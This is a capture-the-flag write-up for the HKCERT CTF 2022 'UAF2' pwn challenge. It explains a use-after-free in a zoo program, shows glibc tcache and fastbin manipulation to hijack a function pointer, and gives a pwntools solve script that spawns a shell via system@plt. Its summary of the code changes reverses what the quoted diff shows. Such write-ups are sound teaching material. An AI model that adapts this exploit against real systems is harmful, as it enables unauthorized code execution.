Try โ€‚โ€‰HackMD

HKCERT CTF 2022 UAF2

tags: HKCERTCTF2022 Pwn

Challenge description

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More โ†’

This is a subsequent challenge based on UAF. It has been covered here.
Let see what are the differences between UAF and UAF2.

diff zoo.c ../uaf_14a0a6f911cd2fa4cb75e3896153ec4b/zoo.c 5a6 > #define MAX_NAME_SIZE 0x40 29a31,34 > void get_shell() { > system("/bin/sh"); > } > 48c53 < print("Welcome to abc Zoo!!!"); --- > print("Welcome to ABC Zoo!!!"); 105c110,119 < animal->name = (char*) malloc(0x18); --- > print("How long is the name? (max: 64 characters)"); > while (1) { > printf("> "); > scanf("%d", &size); > if (size >= 0 && size < MAX_NAME_SIZE) { > animal->name = (char*) malloc(size); > break; > } > printf("??\n"); > } 109c123 < read(0, animal->name, 0x18); --- > read(0, animal->name, size);

So the changes are as following:

  1. The animal->name is now fixed to size 0x18 bytes
  2. No more get_shell
  3. It is now called ABC Zoo

Vulnerbility Analysis

The vulnerbility is the same as the previous challenge UAF. The vulnerbility of use-after-free still exists as the vulnerable codes mentioned in the previous write up were not modified.

The challenge here is we can no longer control the chunk size that is assigned to animal->name, making it a bit harder for us to allocate the desired Animal chunk to where we control. Our previous exploit could not work as we can no longer seperate the first chunk allocated for Animal and the second chunk allocated for animal->name by using different chunk size. Now both chunk has the same size and will be allocated to the 0x20 size tcache bin.

Exploitation

How could we reallocate a Animal chunk to animal->name

There is a neat property implemented in glibc that would fill the tcache from fast bin in reverse order if the tcache is empty but fast bin is not empty.

I think I read it from here: fastbin_reverse_into_tcache.c

We want to reallocate an Animal chunk to animal->name. To achieve so, we need to have the Animal chunk in the second linked list of the tcache. After some trial and error, we could manipulate the tcache and fast bin as following to achieve that:

  1. Call add_animal 5 times

  2. Call remove_animal on zone 0, 1, 2, 3, 4 to fill up tcache and put 3 chunks in fast bin

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More โ†’

  3. Call add_animal 3 times, now tcache has 1 chunk and fast bin has 3 chunks

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More โ†’

  4. Call add_animal 1 time, the remaining 2 chunk in fast bin will be put into tcache in reverse order

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More โ†’

  5. Call add_animal 1 time to allocated the remaining chunks

In the hopes of providing a clearer context, the following is a graph illustrates the state of bins. Each chunk is annotated in Animal or Name with the corresponding zone number. Please keep in mind that both tcache and fast bin are FILO.
This is the layout of bins at step 2.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More โ†’

At step 3, we can see the name chunk of zone 0 is at the head of tcache and the animal chunk of zone 4 is at the head of fast bin.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More โ†’

At step 4, Name0 and Animal4 was allocated respectively. We can control the zoo.animals[choice]->speak of zone 4 when creating zone 8 and supplying the name.
The following graph illustrates the remaing chunks in the bin. Note that the order of Name4 and Animal3 has been reversed into tcache

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More โ†’

At step 5, since we know zoo.animals[choice]->speak would pass 1 parameter when the function was called, and we know the parameter is zoo.animals[choice]->name, this means Name4 will be passed as the argument when report_name is called on zone4. We can control the content of Name4 when creating zone 9 by inputing the name.

Code execution

To verify we have control over the execution flow, input AAAAAAAA while creating zone 8. Observe where the RIP was redirected when the zone 4 was reported.

There is no win function, but PIE was not enabled and system is in the GOT of the binary, we can directly call system from GOT. However it would crash probably due to stack alignment. So I tried system@plt which worked.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More โ†’

After thought

I did not quite understand why my exploit worked when I got the flag from this challenge, but after finishing this write up, I think I convinced myself enough why it worked.

In addition, the attack could be shorter as after tcache was filled, the name chunk is at the head of the tcache, meaning if we add_animal after remove_animal was called 4 times, we would be able to get Animal chunk from zone 2. Then we could start the exploitation from there. But I dont see an easy way to pass the parameter via Name2 when system was called. So I will probably leave this as an excercise for the reader.

Solve script

from pwn import * context.log_level = "debug" def _add(p,name): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"> ") p.sendline(name) p.recvuntil(b'> [DEBUG]') def _remove(p,idx): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"> ") p.sendline(idx) p.recvuntil(b'> [DEBUG]') def _report(p,idx): p.recvuntil(b"> ") p.sendline(b"3") p.recvuntil(b"> ") p.sendline(idx) chall = ELF("./_chall") system = 0x404038 p = process(chall.path) # gdb.attach(p, "b * report_name + 256\n c;") # pause() p = remote("chal.hkcert22.pwnable.hk", 28236) _add(p,b"1") _add(p,b"1") _add(p,b"1") _add(p,b"1") _add(p,b"1") for i in range(5): _remove(p,f"{i}".encode()) _add(p,b"aaaa") _add(p,b"bbbb") _add(p,b"cccc") _add(p,p64(0x401120)) _add(p,b"/bin/sh") _report(p,b"4") p.interactive()